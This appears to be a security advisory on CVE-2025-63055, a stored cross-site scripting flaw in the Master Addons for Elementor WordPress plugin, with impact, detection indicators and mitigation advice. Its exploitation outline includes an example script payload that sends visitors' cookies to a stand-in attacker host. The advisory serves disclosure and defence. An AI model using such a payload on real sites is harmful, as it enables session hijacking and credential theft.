CVE-2025-63055: 
WordPress vulnerability analysis and mitigation

CVE-2025-63055 is a Stored Cross-Site Scripting (XSS) vulnerability in the Master Addons for Elementor WordPress plugin, developed by Liton Arefin. The flaw affects all versions from n/a through 2.0.9.9.4 (also referenced as ≤ 2.0.9.9) and stems from improper neutralization of user-supplied input during web page generation (CWE-79). It was published on December 9, 2025, with the CVE assigned by Patchstack. The vulnerability carries a CVSS v3.1 base score of 6.5 (Medium) (Feedly, EUVD).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Stored XSS). An authenticated attacker with low-privilege access (e.g., a Contributor or Author role) can inject malicious JavaScript into fields processed by the Master Addons for Elementor plugin, which is then persistently stored and rendered in the browser of any user who views the affected page. The attack vector is network-based, requires low privileges and user interaction (a victim must load the page containing the payload), and the scope is changed — meaning the injected script executes in the context of the victim's browser session rather than the attacker's (Feedly).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the browsers of site visitors or administrators who view the compromised page. This can lead to session cookie theft, credential harvesting, defacement of web content, redirection to malicious sites, or further attacks against authenticated users (including privilege escalation if an administrator triggers the payload). The changed scope means the impact extends beyond the attacker's own session to any user visiting the affected WordPress site (Feedly).

No public proof-of-concept exploit code or active in-the-wild exploitation has been reported for CVE-2025-63055 as of the available data. The EPSS score is approximately 0.042%, indicating a low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires an authenticated account with at least low-level privileges on the target WordPress site (Feedly).

1. Reconnaissance: Identify WordPress sites running the Master Addons for Elementor plugin at version ≤ 2.0.9.9.4 using tools like WPScan or by inspecting plugin metadata in page source.
2. Obtain low-privilege access: Register or obtain credentials for a low-privilege account (e.g., Contributor or Author) on the target WordPress site.
3. Inject malicious payload: Using the Elementor editor, insert a crafted JavaScript payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) into a vulnerable input field processed by the Master Addons for Elementor plugin.
4. Publish or save content: Save or publish the page/post containing the injected payload so it is stored persistently in the WordPress database.
5. Trigger execution: When an administrator or other user visits the affected page, the stored script executes in their browser, enabling session hijacking, credential theft, or further malicious actions (Feedly).

• Logs: WordPress access logs showing POST requests to Elementor widget save endpoints (e.g., /wp-admin/admin-ajax.php with action=elementor_ajax) from low-privilege user accounts containing encoded or obfuscated script tags.
• Database: Unexpected <script> tags, JavaScript event handlers (e.g., onerror, onload), or encoded payloads (e.g., <script>) stored in the wp_posts or wp_postmeta tables associated with Elementor widget data.
• Network: Outbound requests from victim browsers to unknown external domains shortly after loading pages built with Master Addons for Elementor widgets, potentially carrying cookie or session data in query parameters.
• File System: No direct file system artifacts expected for stored XSS; however, monitor for newly created or modified PHP files in the plugin directory (/wp-content/plugins/master-addons/) that could indicate secondary compromise.

Users should update the Master Addons for Elementor plugin to a version beyond 2.0.9.9.4 that includes a fix for this vulnerability. Until a patched version is confirmed available, administrators should restrict plugin editing capabilities to trusted, high-privilege users only, and consider temporarily disabling the plugin on public-facing sites. Implementing a Web Application Firewall (WAF) with XSS filtering rules can provide an additional layer of defense. Monitor the WordPress plugin repository for updated releases (Feedly, EUVD).